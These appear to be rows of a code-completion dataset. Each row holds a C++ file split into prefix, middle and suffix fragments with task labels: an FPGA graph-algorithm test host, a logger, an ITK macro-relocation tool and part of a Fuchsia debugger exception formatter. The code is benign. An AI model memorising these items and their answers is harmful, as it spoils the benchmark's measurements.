&mext_o[7]); cl::Buffer queueG2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numVertices, &mext_o[8]); cl::Buffer result_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numVertices, &mext_o[9]); std::vector<cl::Event> events_write(1); std::vector<cl::Event> events_kernel(1); std::vector<cl::Event> events_read(1); std::vector<cl::Memory> ob_in; ob_in.push_back(columnG1_buf); ob_in.push_back(offsetG1_buf); std::vector<cl::Memory> ob_out; ob_out.push_back(result_buf); q.enqueueMigrateMemObjects(ob_in, 0, nullptr, &events_write[0]); std::cout << "kernel start------" << std::endl; std::cout << "Input: numVertex=" << numVertices << ", numEdges=" << numEdges << std::endl; gettimeofday(&start_time, 0); int j = 0; scc.setArg(j++, numEdges); scc.setArg(j++, numVertices); scc.setArg(j++, columnG1_buf); scc.setArg(j++, offsetG1_buf); scc.setArg(j++, columnG2_buf); scc.setArg(j++, columnG2_buf); scc.setArg(j++, offsetG2_buf); scc.setArg(j++, columnG1_buf); scc.setArg(j++, offsetG1_buf); scc.setArg(j++, offset32Tmp1G2_buf); scc.setArg(j++, offset32Tmp2G2_buf); scc.setArg(j++, colorMap32_buf); scc.setArg(j++, colorMap32_buf); scc.setArg(j++, queueG1_buf); scc.setArg(j++, colorMap32_buf); scc.setArg(j++, colorMap32_buf); scc.setArg(j++, queueG2_buf); scc.setArg(j++, queueG1_buf); scc.setArg(j++, result_buf); q.enqueueTask(scc, &events_write, &events_kernel[0]); q.enqueueMigrateMemObjects(ob_out, 1, &events_kernel, &events_read[0]); q.finish(); gettimeofday(&end_time, 0); std::cout << "kernel end------" << std::endl; std::cout << "Execution time " << tvdiff(&start_time, &end_time) / 1000.0 << "ms" << std::endl; cl_ulong ts, te; events_write[0].getProfilingInfo(CL_PROFILING_COMMAND_START, &ts); events_write[0].getProfilingInfo(CL_PROFILING_COMMAND_END, &te); float elapsed = ((float)te - (float)ts) / 1000000.0; logger.info(xf::common::utils_sw::Logger::Message::TIME_H2D_MS, elapsed); events_kernel[0].getProfilingInfo(CL_PROFILING_COMMAND_START, &ts); events_kernel[0].getProfilingInfo(CL_PROFILING_COMMAND_END, &te); elapsed = ((float)te - (float)ts) / 1000000.0; logger.info(xf::common::utils_sw::Logger::Message::TIME_KERNEL_MS, elapsed); events_read[0].getProfilingInfo(CL_PROFILING_COMMAND_START, &ts); events_read[0].getProfilingInfo(CL_PROFILING_COMMAND_END, &te); elapsed = ((float)te - (float)ts) / 1000000.0; logger.info(xf::common::utils_sw::Logger::Message::TIME_D2H_MS, elapsed); #else scc_kernel(numEdges, numVertices, (ap_uint<512>*)column32G1, (ap_uint<512>*)offset32G1, (ap_uint<512>*)column32G2, column32G2, (ap_uint<512>*)offset32G2, (ap_uint<512>*)column32G1, (ap_uint<512>*)offset32G1, (ap_uint<512>*)offset32Tmp1G2, (ap_uint<512>*)offset32Tmp2G2, (ap_uint<512>*)colorMap32, colorMap32, queueG1, (ap_uint<512>*)colorMap32, colorMap32, queueG2, queueG1, result); #endif std::cout << "============================================================" << std::endl; std::unordered_map<int, int> map; for (int i = 0; i < numVertices; i++) { map[result[i].to_int()] = 1; } std::cout << "HW components:" << map.size() << std::endl; std::vector<int> gold_result(numVertices, -1); std::fstream goldenfstream(goldenfile.c_str(), std::ios::in); if (!goldenfstream) { std::cout << "Error : " << goldenfile << " file doesn't exist !" << std::endl; exit(1); } index = 0; while (goldenfstream.getline(line, sizeof(line))) { std::stringstream data(line); std::string tmp[2]; int tmpi[2]; data >> tmp[0]; data >> tmp[1]; tmpi[0] = std::stoi(tmp[0]); if (index > 0) { tmpi[1] = std::stoi(tmp[1]); gold_result[tmpi[0] - 1] = tmpi[1]; } else std::cout << "The number of components:" << tmpi[0] << std::endl; index++; } if (index - 1 != numVertices) { std::cout << "Warning : Some nodes are missing in the golden file, validation will skip them." << std::endl; } int errs = 0; for (int i = 0; i < numVertices; i++) { if (gold_result[i] != -1 && result[i].to_int() != gold_result[i]) { std::cout << "Mismatch-" << i << ":\tsw: " << gold_result[i] << " -> " << "hw: " << result[i] << std::endl; errs++; } } errs ? logger.error(xf::common::utils_sw::Logger::Message::TEST_FAIL) : logger.info(xf::common::utils_sw::Logger::Message::TEST_PASS); return errs; }
if (!parser.getCmdOption("-g", goldenfile)) { std::cout << "ERROR: goldenfile is not set!\n"; return -1; }
if_condition
[]
C++
Terra/log/Logger.cpp
leeairw/Terra
9387c064b727633da34e3c2146a67b7fa9b59c62
#include <ctime> #include <atomic> #include "./Logger.hpp" #include "./LoggingStrategy.hpp" #include "../misc/Range.hpp" NS_HWM_BEGIN using Strategy = Logger::LoggingStrategy; using StrategyPtr = Logger::StrategyPtr; using Error = Logger::Error; class Logger::Impl { public: LockFactory lf_; StrategyPtr st_; std::vector<String> levels_; Int32 most_detailed_ = -1; std::atomic<bool> started_ = false; }; #define MAKE_SURE_LOGGING_HAS_STOPPED() \ do { \ if(IsLoggingStarted()) { \ throw std::runtime_error("do not call this function while logging has started."); \ } \ } while(0) \ Logger::Logger() : pimpl_(std::make_unique<Impl>()) { SetStrategy(std::make_shared<DebugConsoleLoggingStrategy>()); } Logger::~Logger() { StartLogging(false); RemoveStrategy(); } void Logger::SetLoggingLevels(std::vector<String> const &levels) { MAKE_SURE_LOGGING_HAS_STOPPED(); pimpl_->levels_ = levels; pimpl_->most_detailed_ = pimpl_->levels_.size()-1; } std::vector<String> Logger::GetLoggingLevels() const { return pimpl_->levels_; } Error Logger::SetMostDetailedActiveLoggingLevel(String level) { MAKE_SURE_LOGGING_HAS_STOPPED(); auto it = hwm::find(pimpl_->levels_, level); if(it == pimpl_->levels_.end()) { return Error(L"unknown logging level is specified."); } pimpl_->most_detailed_ = it - pimpl_->levels_.begin(); return Error::NoError(); } String Logger::GetMostDetailedActiveLoggingLevel() const { if(pimpl_->levels_.empty()) { assert(pimpl_->most_detailed_ == -1); return String(); } else { assert(0 <= pimpl_->most_detailed_ && pimpl_->most_detailed_ < pimpl_->levels_.size()); return pimpl_->levels_[pimpl_->most_detailed_]; } } bool Logger::IsActiveLoggingLevel(String level) const { for(Int32 i = 0; i <= pimpl_->most_detailed_; ++i) { if(level == pimpl_->levels_[i]) { return true; } } return false; } bool Logger::IsValidLoggingLevel(String level) const { return contains(pimpl_->levels_, level); } void Logger::StartLogging(bool start) { auto lock = lf_logging_.make_lock(); assert(pimpl_->st_ != nullptr); pimpl_->started_.store(start); } bool Logger::IsLoggingStarted() const { return pimpl_->started_.load(); } void Logger::SetStrategy(StrategyPtr st) { MAKE_SURE_LOGGING_HAS_STOPPED(); RemoveStrategy(); pimpl_->st_ = st; if(pimpl_->st_) { pimpl_->st_->OnAfterAssigned(this); } } StrategyPtr Logger::RemoveStrategy() { MAKE_SURE_LOGGING_HAS_STOPPED(); if(pimpl_->st_) { pimpl_->st_->OnBeforeDeassigned(this); } return std::move(pimpl_->st_); } StrategyPtr Logger::GetStrategy() const { return pimpl_->st_; } Error Logger::OutputLogImpl(String level, String message) { std::string time_str; auto t = time(nullptr); struct tm ltime; #if defined(_MSC_VER) auto error = localtime_s(&ltime, &t); #else errno = 0; localtime_r(&t, &ltime); auto error = errno; #endif if(error != 0) { time_str = std::string("(time not available: ") + strerror(error) + ")"; } else { char buf[256] = {}; strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M:%S %z", &ltime); time_str = buf; } String entry = L"[{}][{}] {}"_format(to_wstr(time_str), level, message); return GetStrategy()->OutputLog(entry); } NS_HWM_END
#include <ctime> #include <atomic> #include "./Logger.hpp" #include "./LoggingStrategy.hpp" #include "../misc/Range.hpp" NS_HWM_BEGIN using Strategy = Logger::LoggingStrategy; using StrategyPtr = Logger::StrategyPtr; using Error = Logger::Error; class Logger::Impl { public: LockFactory lf_; StrategyPtr st_; std::vector<String> levels_; Int32 most_detailed_ = -1; std::atomic<bool> started_ = false; }; #define MAKE_SURE_LOGGING_HAS_STOPPED() \ do { \ if(IsLoggingStarted()) { \ throw std::runtime_error("do not call this function while logging has started."); \ } \ } while(0) \ Logger::Logger() : pimpl_(std::make_unique<Impl>()) { SetStrategy(std::make_shared<DebugConsoleLoggingStrategy>()); } Logger::~Logger() { StartLogging(false); RemoveStrategy(); } void Logger::SetLoggingLevels(std::vector<String> const &levels) { MAKE_SURE_LOGGING_HAS_STOPPED(); pimpl_->levels_ = levels; pimpl_->most_detailed_ = pimpl_->levels_.size()-1; } std::vector<String> Logger::GetLoggingLevels() const { return pimpl_->levels_; } Error Logger::SetMostDetailedActiveLoggingLevel(String level) { MAKE_SURE_LOGGING_HAS_STOPPED(); auto it = hwm::find(pimpl_->levels_, level); if(it == pimpl_->levels_.end()) { return Error(L"unknown logging level is specified."); } pimpl_->most_detailed_ = it - pimpl_->levels_.begin(); return Error::NoError(); } String Logger::GetMostDetailedActiveLoggingLevel() const { if(pimpl_->levels_.empty()) { assert(pimpl_->most_detailed_ == -1); return String(); } else { assert(0 <= pimpl_->most_detailed_ && pimpl_->most_detailed_ < pimpl_->levels_.size()); return pimpl_->levels_[pimpl_->most_detailed_]; } } bool Logger::IsActiveLoggingLevel(String level) const { for(Int32 i = 0; i <= pimpl_->most_detailed_; ++i) { if(level == pimpl_->levels_[i]) { return true; } } return false; } bool Logger::IsValidLoggingLevel(String level) const { return contains(pimpl_->levels_, level); } void Logger::StartLogging(bool start) { auto lock = lf_logging_.make_lock(); assert(pimpl_->st_ != nullptr); pimpl_->started_.store(start); } bool Logger::IsLoggingStarted() const { return pimpl_->started_.load(); } void Logger::SetStrategy(StrategyPtr st) { MAKE_SURE_LOGGING_HAS_STOPPED(); RemoveStrategy(); pimpl_->st_ = st; if(pimpl_->st_) { pimpl_->st_->OnAfterAssigned(this); } } StrategyPtr Logger::RemoveStrategy() { MAKE_SURE_LOGGING_HAS_STOPPED(); if(pimpl_->st_) { pimpl_->st_->OnBeforeDeassigned(this); } return std::move(pimpl_->st_); } StrategyPtr Logger::GetStrategy() const { return pimpl_->st_; } Error Logger::OutputLogImpl(String level, String message) { std::string time_str; auto t = time(nullptr); struct tm ltime; #if defined(_MSC_VER) auto error = localtime_s(&ltime, &t); #else errno = 0; localtime_r(&t, &ltime); auto error = errno; #endif
String entry = L"[{}][{}] {}"_format(to_wstr(time_str), level, message); return GetStrategy()->OutputLog(entry); } NS_HWM_END
if(error != 0) { time_str = std::string("(time not available: ") + strerror(error) + ")"; } else { char buf[256] = {}; strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M:%S %z", &ltime); time_str = buf; }
if_condition
[ { "content": "class FileLoggingStrategy : public Logger::LoggingStrategy\n\n{\n\npublic:\n\n //! Create FileLoggingStrategy object with the target file path.\n\n /*! the target file is not opened immediately.\n\n */\n\n FileLoggingStrategy(String path);\n\n ~FileLoggingStrategy();\n\n \n\n ...
C++
Utilities/ITKv5Preparation/Move_DISALLOW_COPY_to_public_section.cpp
HongdaZ/ITK
f5d004fa3607b8e11edc30f1ba299df35af8aff8
#include <cassert> #include <cctype> #include <deque> #include <experimental/filesystem> #include <fstream> #include <iostream> #include <sstream> #include <cstring> #include <string> using namespace std::experimental::filesystem::v1; namespace { using Lines = std::deque<std::string>; auto ReadFile(const path& filePath) { Lines result; std::ifstream inputFileStream{ filePath }; std::string line; while (std::getline(inputFileStream, line)) { result.push_back(line); } return result; } void WriteFile(const path& filePath, const Lines& lines) { std::ofstream outputFileStream{ filePath }; for (const auto& line : lines) { outputFileStream << line << '\n'; } } std::string ExtractClassName(std::string candidateClassName) { for (auto& c : candidateClassName) { if (c == ':') { c = '\0'; return candidateClassName.c_str(); } if (c == '<') { c = '\0'; return candidateClassName.c_str(); } if (!std::isalnum(c)) { return {}; } } return candidateClassName; } std::string FindClassName(const char* const line) { std::istringstream inputStringStream{ line }; std::string candidateClassName; inputStringStream >> candidateClassName; const char exportPostfix[] = "_EXPORT"; if (candidateClassName.size() >= sizeof(exportPostfix) && candidateClassName.compare( candidateClassName.size() + 1 - sizeof(exportPostfix), sizeof(exportPostfix) - 1, exportPostfix) == 0) { inputStringStream >> candidateClassName; } return ExtractClassName( candidateClassName ); } const char* GoToFirstNonSpace(const char* ptr) { while (*ptr == ' ') { ++ptr; } return ptr; } template <unsigned N> bool StringStartsWithPrefix(const char*& str, const char(&prefix)[N]) { assert(prefix[N - 1] == '\0'); if ((std::strlen(str) + 1 >= N) && (std::memcmp(str, prefix, N - 1) == 0)) { str += N - 1; return true; } return false; } struct Statistics { unsigned numberOfClassNameMismatches; unsigned numberOfDisallowMacroCalls; unsigned numberOfMissingPublicSections; unsigned numberOfSuccessfullMoves; unsigned numberOfDisallowMacroCallsAlreadyAtRightPlace; }; Statistics ModifyLines(Lines& lines) { Statistics statistics = {}; auto className = std::string{}; auto publicLineNumber = Lines::size_type{}; for (auto lineNumber = Lines::size_type{}; lineNumber < lines.size(); ++lineNumber) { const auto& line = lines[lineNumber]; const auto numberOfChars = line.size(); if (numberOfChars > 0) { const char* c_str = GoToFirstNonSpace(line.c_str()); if (StringStartsWithPrefix(c_str, "class") && (*c_str == ' ')) { const auto newClassName = FindClassName(c_str); if (!newClassName.empty()) { className = newClassName; publicLineNumber = 0; } } else { if ((publicLineNumber == 0) && (!className.empty()) && StringStartsWithPrefix(c_str, "public")) { if ((*GoToFirstNonSpace(c_str) == ':') && (*GoToFirstNonSpace(c_str + 1) == '\0')) { publicLineNumber = lineNumber; } } else { if (StringStartsWithPrefix(c_str, "ITK_DISALLOW_COPY_AND_ASSIGN(")) { ++statistics.numberOfDisallowMacroCalls; if (publicLineNumber > 0) { assert(!className.empty()); const char c = *GoToFirstNonSpace(c_str); if (c_str == (className + ");")) { if (lineNumber == publicLineNumber + 1) { std::cout << "Macro call already at the right place: " << lines[lineNumber] << std::endl; ++statistics.numberOfDisallowMacroCallsAlreadyAtRightPlace; } else { { std::string disallowMacroCall = std::move(lines[lineNumber]); for (auto i = lineNumber; i > publicLineNumber + 1; --i) { lines[i] = std::move(lines[i - 1]); } lines[publicLineNumber + 1] = std::move(disallowMacroCall); } if ((lines.size() > (lineNumber + 1)) && lines[lineNumber + 1].empty()) { lines.erase(lines.begin() + lineNumber + 1); } if ((lines.size() > (lineNumber + 1)) && *GoToFirstNonSpace(lines[lineNumber + 1].c_str()) == '}') { auto ptr = GoToFirstNonSpace(lines[lineNumber].c_str()); if (StringStartsWithPrefix(ptr, "private")) { if ((*GoToFirstNonSpace(ptr) == ':') && (*GoToFirstNonSpace(ptr + 1) == '\0')) { lines.erase(lines.begin() + lineNumber); if (lines[lineNumber - 1].empty()) { lines.erase(lines.begin() + lineNumber - 1); } } } } if (!lines[publicLineNumber + 2].empty()) { lines.insert(lines.begin() + publicLineNumber + 2, std::string{}); } className = std::string{}; publicLineNumber = Lines::size_type{}; ++statistics.numberOfSuccessfullMoves; } } else { ++statistics.numberOfClassNameMismatches; std::cerr << "Mismatch! Class name: \"" << className << "\"; macro call: " << lines[lineNumber] << std::endl; } } else { ++statistics.numberOfMissingPublicSections; std::cerr << "No public section found for macro call " << lines[lineNumber] << std::endl; } } } } } } return statistics; } auto ProcessFile(const path& filePath) { auto lines = ReadFile(filePath); const auto statistics = ModifyLines(lines); if (statistics.numberOfSuccessfullMoves > 0) { WriteFile(filePath, lines); } return statistics; } void ProcessDirectory(const path& directoryPath) { Statistics statistics = {}; const recursive_directory_iterator end; unsigned numberOfModifiedFiles = 0; for (recursive_directory_iterator it{ directoryPath }; it != end; ++it) { const auto& path = it->path(); const auto& extension = path.extension(); if ( (!extension.empty()) && (extension.string() == ".h" || extension.string() == ".cxx") && is_regular_file(path)) { const auto statisticsPerFile = ProcessFile(path); if (statisticsPerFile.numberOfDisallowMacroCalls > 0) { numberOfModifiedFiles += (statisticsPerFile.numberOfSuccessfullMoves > 0) ? 1 : 0; if ( (statisticsPerFile.numberOfDisallowMacroCalls > 1) || (statisticsPerFile.numberOfDisallowMacroCalls != statisticsPerFile.numberOfSuccessfullMoves)) std::cout << statisticsPerFile.numberOfDisallowMacroCalls << ' ' << statisticsPerFile.numberOfSuccessfullMoves << ' ' << statisticsPerFile.numberOfDisallowMacroCallsAlreadyAtRightPlace << ' ' << statisticsPerFile.numberOfClassNameMismatches << ' ' << statisticsPerFile.numberOfMissingPublicSections << ' ' << path << std::endl; } statistics.numberOfDisallowMacroCalls += statisticsPerFile.numberOfDisallowMacroCalls; statistics.numberOfSuccessfullMoves += statisticsPerFile.numberOfSuccessfullMoves; statistics.numberOfDisallowMacroCallsAlreadyAtRightPlace += statisticsPerFile.numberOfDisallowMacroCallsAlreadyAtRightPlace; statistics.numberOfClassNameMismatches += statisticsPerFile.numberOfClassNameMismatches; statistics.numberOfMissingPublicSections += statisticsPerFile.numberOfMissingPublicSections; } } std::cout << "numberOfModifiedFiles:\t" << numberOfModifiedFiles << "\nDisallowMacroCalls:\t" << statistics.numberOfDisallowMacroCalls << "\nSuccessfullMoves:\t" << statistics.numberOfSuccessfullMoves << "\nDisallowMacroCallsAlreadyAtRightPlace:\t" << statistics.numberOfDisallowMacroCallsAlreadyAtRightPlace << "\nClassNameMismatches:\t" << statistics.numberOfClassNameMismatches << "\nMissingPublicSections:\t" << statistics.numberOfMissingPublicSections << std::endl; } } int main(int argc, char** argv) { if (argc != 2) { std::cout << "Please specify the source directory path as command-line argument." "\nNote: This program will modify the source files in-place!!!" << std::endl; } else { if (argv == nullptr) { return EXIT_FAILURE; } const char* const arg = argv[1]; if (arg == nullptr) { return EXIT_FAILURE; } ProcessDirectory(arg); } std::cout << "Press anything to continue" << std::endl; std::cin.get(); return EXIT_SUCCESS; }
#include <cassert> #include <cctype> #include <deque> #include <experimental/filesystem> #include <fstream> #include <iostream> #include <sstream> #include <cstring> #include <string> using namespace std::experimental::filesystem::v1; namespace { using Lines = std::deque<std::string>; auto ReadFile(const path& filePath) { Lines result; std::ifstream inputFileStream{ filePath }; std::string line; while (std::getline(inputFileStream, line)) { result.push_back(line); } return result; } void WriteFile(const path& filePath, const Lines& lines) { std::ofstream outputFileStream{ filePath }; for (const auto& line : lines) { outputFileStream << line << '\n'; } } std::string ExtractClassName(std::string candidateClassName) { for (auto& c : candidateClassName) { if (c == ':') { c = '\0'; return candidateClassName.c_str(); } if (c == '<') { c = '\0'; return candidateClassName.c_str(); } if (!std::isalnum(c)) {
candidateClassName.size() + 1 - sizeof(exportPostfix), sizeof(exportPostfix) - 1, exportPostfix) == 0) { inputStringStream >> candidateClassName; } return ExtractClassName( candidateClassName ); } const char* GoToFirstNonSpace(const char* ptr) { while (*ptr == ' ') { ++ptr; } return ptr; } template <unsigned N> bool StringStartsWithPrefix(const char*& str, const char(&prefix)[N]) { assert(prefix[N - 1] == '\0'); if ((std::strlen(str) + 1 >= N) && (std::memcmp(str, prefix, N - 1) == 0)) { str += N - 1; return true; } return false; } struct Statistics { unsigned numberOfClassNameMismatches; unsigned numberOfDisallowMacroCalls; unsigned numberOfMissingPublicSections; unsigned numberOfSuccessfullMoves; unsigned numberOfDisallowMacroCallsAlreadyAtRightPlace; }; Statistics ModifyLines(Lines& lines) { Statistics statistics = {}; auto className = std::string{}; auto publicLineNumber = Lines::size_type{}; for (auto lineNumber = Lines::size_type{}; lineNumber < lines.size(); ++lineNumber) { const auto& line = lines[lineNumber]; const auto numberOfChars = line.size(); if (numberOfChars > 0) { const char* c_str = GoToFirstNonSpace(line.c_str()); if (StringStartsWithPrefix(c_str, "class") && (*c_str == ' ')) { const auto newClassName = FindClassName(c_str); if (!newClassName.empty()) { className = newClassName; publicLineNumber = 0; } } else { if ((publicLineNumber == 0) && (!className.empty()) && StringStartsWithPrefix(c_str, "public")) { if ((*GoToFirstNonSpace(c_str) == ':') && (*GoToFirstNonSpace(c_str + 1) == '\0')) { publicLineNumber = lineNumber; } } else { if (StringStartsWithPrefix(c_str, "ITK_DISALLOW_COPY_AND_ASSIGN(")) { ++statistics.numberOfDisallowMacroCalls; if (publicLineNumber > 0) { assert(!className.empty()); const char c = *GoToFirstNonSpace(c_str); if (c_str == (className + ");")) { if (lineNumber == publicLineNumber + 1) { std::cout << "Macro call already at the right place: " << lines[lineNumber] << std::endl; ++statistics.numberOfDisallowMacroCallsAlreadyAtRightPlace; } else { { std::string disallowMacroCall = std::move(lines[lineNumber]); for (auto i = lineNumber; i > publicLineNumber + 1; --i) { lines[i] = std::move(lines[i - 1]); } lines[publicLineNumber + 1] = std::move(disallowMacroCall); } if ((lines.size() > (lineNumber + 1)) && lines[lineNumber + 1].empty()) { lines.erase(lines.begin() + lineNumber + 1); } if ((lines.size() > (lineNumber + 1)) && *GoToFirstNonSpace(lines[lineNumber + 1].c_str()) == '}') { auto ptr = GoToFirstNonSpace(lines[lineNumber].c_str()); if (StringStartsWithPrefix(ptr, "private")) { if ((*GoToFirstNonSpace(ptr) == ':') && (*GoToFirstNonSpace(ptr + 1) == '\0')) { lines.erase(lines.begin() + lineNumber); if (lines[lineNumber - 1].empty()) { lines.erase(lines.begin() + lineNumber - 1); } } } } if (!lines[publicLineNumber + 2].empty()) { lines.insert(lines.begin() + publicLineNumber + 2, std::string{}); } className = std::string{}; publicLineNumber = Lines::size_type{}; ++statistics.numberOfSuccessfullMoves; } } else { ++statistics.numberOfClassNameMismatches; std::cerr << "Mismatch! Class name: \"" << className << "\"; macro call: " << lines[lineNumber] << std::endl; } } else { ++statistics.numberOfMissingPublicSections; std::cerr << "No public section found for macro call " << lines[lineNumber] << std::endl; } } } } } } return statistics; } auto ProcessFile(const path& filePath) { auto lines = ReadFile(filePath); const auto statistics = ModifyLines(lines); if (statistics.numberOfSuccessfullMoves > 0) { WriteFile(filePath, lines); } return statistics; } void ProcessDirectory(const path& directoryPath) { Statistics statistics = {}; const recursive_directory_iterator end; unsigned numberOfModifiedFiles = 0; for (recursive_directory_iterator it{ directoryPath }; it != end; ++it) { const auto& path = it->path(); const auto& extension = path.extension(); if ( (!extension.empty()) && (extension.string() == ".h" || extension.string() == ".cxx") && is_regular_file(path)) { const auto statisticsPerFile = ProcessFile(path); if (statisticsPerFile.numberOfDisallowMacroCalls > 0) { numberOfModifiedFiles += (statisticsPerFile.numberOfSuccessfullMoves > 0) ? 1 : 0; if ( (statisticsPerFile.numberOfDisallowMacroCalls > 1) || (statisticsPerFile.numberOfDisallowMacroCalls != statisticsPerFile.numberOfSuccessfullMoves)) std::cout << statisticsPerFile.numberOfDisallowMacroCalls << ' ' << statisticsPerFile.numberOfSuccessfullMoves << ' ' << statisticsPerFile.numberOfDisallowMacroCallsAlreadyAtRightPlace << ' ' << statisticsPerFile.numberOfClassNameMismatches << ' ' << statisticsPerFile.numberOfMissingPublicSections << ' ' << path << std::endl; } statistics.numberOfDisallowMacroCalls += statisticsPerFile.numberOfDisallowMacroCalls; statistics.numberOfSuccessfullMoves += statisticsPerFile.numberOfSuccessfullMoves; statistics.numberOfDisallowMacroCallsAlreadyAtRightPlace += statisticsPerFile.numberOfDisallowMacroCallsAlreadyAtRightPlace; statistics.numberOfClassNameMismatches += statisticsPerFile.numberOfClassNameMismatches; statistics.numberOfMissingPublicSections += statisticsPerFile.numberOfMissingPublicSections; } } std::cout << "numberOfModifiedFiles:\t" << numberOfModifiedFiles << "\nDisallowMacroCalls:\t" << statistics.numberOfDisallowMacroCalls << "\nSuccessfullMoves:\t" << statistics.numberOfSuccessfullMoves << "\nDisallowMacroCallsAlreadyAtRightPlace:\t" << statistics.numberOfDisallowMacroCallsAlreadyAtRightPlace << "\nClassNameMismatches:\t" << statistics.numberOfClassNameMismatches << "\nMissingPublicSections:\t" << statistics.numberOfMissingPublicSections << std::endl; } } int main(int argc, char** argv) { if (argc != 2) { std::cout << "Please specify the source directory path as command-line argument." "\nNote: This program will modify the source files in-place!!!" << std::endl; } else { if (argv == nullptr) { return EXIT_FAILURE; } const char* const arg = argv[1]; if (arg == nullptr) { return EXIT_FAILURE; } ProcessDirectory(arg); } std::cout << "Press anything to continue" << std::endl; std::cin.get(); return EXIT_SUCCESS; }
return {}; } } return candidateClassName; } std::string FindClassName(const char* const line) { std::istringstream inputStringStream{ line }; std::string candidateClassName; inputStringStream >> candidateClassName; const char exportPostfix[] = "_EXPORT"; if (candidateClassName.size() >= sizeof(exportPostfix) && candidateClassName.compare(
random
[ { "content": "class GTEST_API_ Matcher<const std::string&>\n\n : public internal::MatcherBase<const std::string&> {\n\n public:\n\n Matcher() {}\n\n\n\n explicit Matcher(const MatcherInterface<const std::string&>* impl)\n\n : internal::MatcherBase<const std::string&>(impl) {}\n\n\n\n // Allows the us...
C++
src/developer/debug/zxdb/console/format_exception.cc
allansrc/fuchsia
a2c235b33fc4305044d496354a08775f30cdcf37
#include "src/developer/debug/zxdb/console/format_exception.h" #include <lib/syslog/cpp/macros.h> #include <algorithm> #include "src/developer/debug/zxdb/client/frame.h" #include "src/developer/debug/zxdb/client/process.h" #include "src/developer/debug/zxdb/client/session.h" #include "src/developer/debug/zxdb/client/stack.h" #include "src/developer/debug/zxdb/client/system.h" #include "src/developer/debug/zxdb/client/thread.h" #include "src/developer/debug/zxdb/common/string_util.h" #include "src/developer/debug/zxdb/console/console_context.h" namespace zxdb { namespace { std::string X64PageFaultToString(const debug_ipc::ExceptionRecord& record) { constexpr uint32_t kPresentBit = 1 << 0; constexpr uint32_t kWriteBit = 1 << 1; constexpr uint32_t kInstructionFetchBit = 1 << 4; std::string result = "Page fault "; if (record.arch.x64.err_code & kInstructionFetchBit) result += "executing "; else if (record.arch.x64.err_code & kWriteBit) result += "writing "; else result += "reading "; result += "address "; result += to_hex_string(record.arch.x64.cr2); if (record.arch.x64.err_code & kPresentBit) result += " (page protection violation)"; return result; } std::string X64ExceptionRecordToString(const debug_ipc::ExceptionRecord& record) { switch (record.arch.x64.vector) { case 0: return "Divide-by-zero exception"; case 1: return "Debug exception"; case 2: return "Non-maskable interrupt"; case 3: return "Breakpoint exception"; case 4: return "Overflow exception"; case 5: return "Bound range exceeded exception"; case 6: return "Invalid opcode exception"; case 7: return "No math coprocessor present exception"; case 8: return "Double fault"; case 9: return "CoProcessor segment overrun exception"; case 10: return "Invalid TSS exception"; case 11: return "Segment not present exception"; case 12: return "Stack segment fault"; case 13: return "General protection fault"; case 14: return X64PageFaultToString(record); case 15: return "Reserved exception"; case 16: return "Floating-point exception"; case 17: return "Alignment check exception"; case 18: return "Machine check exception"; case 19: return "SIMD floating-point exception"; case 20: return "Virtualization exception"; case 21: return "Control protection exception"; default: return "Unknown exception (" + std::to_string(record.arch.x64.vector) + ")"; } } std::string Arm64DataAbortToString(const debug_ipc::ExceptionRecord& record) { constexpr uint32_t kWriteNotReadBit = 1 << 6; std::string result = "Data fault "; if (record.arch.arm64.esr & kWriteNotReadBit) result += "writing "; else result += "reading "; result += "address "; result += to_hex_string(record.arch.arm64.far); uint32_t dfsc = record.arch.arm64.esr & 0b111111; const char* status = nullptr; switch (dfsc) { case 0b000000: status = "address size fault level 0"; break; case 0b000001: status = "address size fault level 1"; break; case 0b000010: status = "address size fault level 2"; break; case 0b000011: status = "address size fault level 3"; break; case 0b000100: status = "translation fault level 0"; break; case 0b000101: status = "translation fault level 1"; break; case 0b000110: status = "translation fault level 2"; break; case 0b000111: status = "translation fault level 3"; break; case 0b001001: status = "access fault level 1"; break; case 0b001010: status = "access fault level 2"; break; case 0b001011: status = "access fault level 3"; break; case 0b001101: status = "permission fault level 1"; break; case 0b001110: status = "permission fault level 2"; break; case 0b001111: status = "permission fault level 3"; break; case 0b010000: status = "external, not on translation table walk"; break; case 0b010001: status = "synchronous tag check fail"; break; case 0b010100: status = "external, on translation table walk level 0"; break; case 0b010101: status = "external, on translation table walk level 1"; break; case 0b010110: status = "external, on translation table walk level 2"; break; case 0b010111: status = "external, on translation table walk level 3"; break; case 0b011000: status = "parity/ECC error not on translation table walk"; break; case 0b011100: status = "parity/ECC error on translation table walk level 0"; break; case 0b011101: status = "parity/ECC error on translation table walk level 1"; break; case 0b011110: status = "parity/ECC error on translation table walk level 2"; break; case 0b011111: status = "parity/ECC error on translation table walk level 3"; break; case 0b100001: status = "alignment fault"; break; case 0b110000: status = "TLB conflict"; break; case 0b110001: status = "unsupported atomic hardware updated"; break; case 0b110100: status = "implementation defined - lockdown"; break; case 0b110101: status = "implementation defined - unsupported exclusive or atomic"; break; case 0b111101: status = "section domain fault"; break; case 0b111110: status = "page domain fault"; break; } if (status) { result += " ("; result += status; result += ")"; } return result; } std::string Arm64ExceptionRecordToString(const debug_ipc::ExceptionRecord& record) { uint32_t ec = (record.arch.arm64.esr >> 26) & 0b111111; switch (ec) { case 0b000000: return "Unknown exception"; case 0b000001: return "Trapped WFI or WFE execution"; case 0b000011: return "Wrapped MCR or MRC access"; case 0b000100: return "Trapped MCRR or MRRC"; case 0b000101: return "Trapped MCR or MRC access"; case 0b000110: return "Trapped LDC or STC access"; case 0b000111: return "SVE/SIMD/FP exception"; case 0b001100: return "Trapped MRRC exception"; case 0b001101: return "Branch target exception"; case 0b001110: return "Illegal execution state exception"; case 0b010001: case 0b010101: return "SVC instruction execution"; case 0b011000: return "Wrapped MSR, MRS, or system instruction exception"; case 0b011001: return "Access to SVE exception"; case 0b011100: return "Pointer authentication failure exception"; case 0b100000: case 0b100001: return "Instruction abort (MMU fault)"; case 0b100010: return "PC alignment fault exception"; case 0b100100: case 0b100101: return Arm64DataAbortToString(record); case 0b100110: return "SP alignment fault exception"; case 0b101000: case 0b101100: return "Wrapped floating-point exception"; case 0b101111: return "SError interrupt"; case 0b110000: case 0b110001: return "Breakpoint exception"; case 0b110010: case 0b110011: return "Software step exception"; 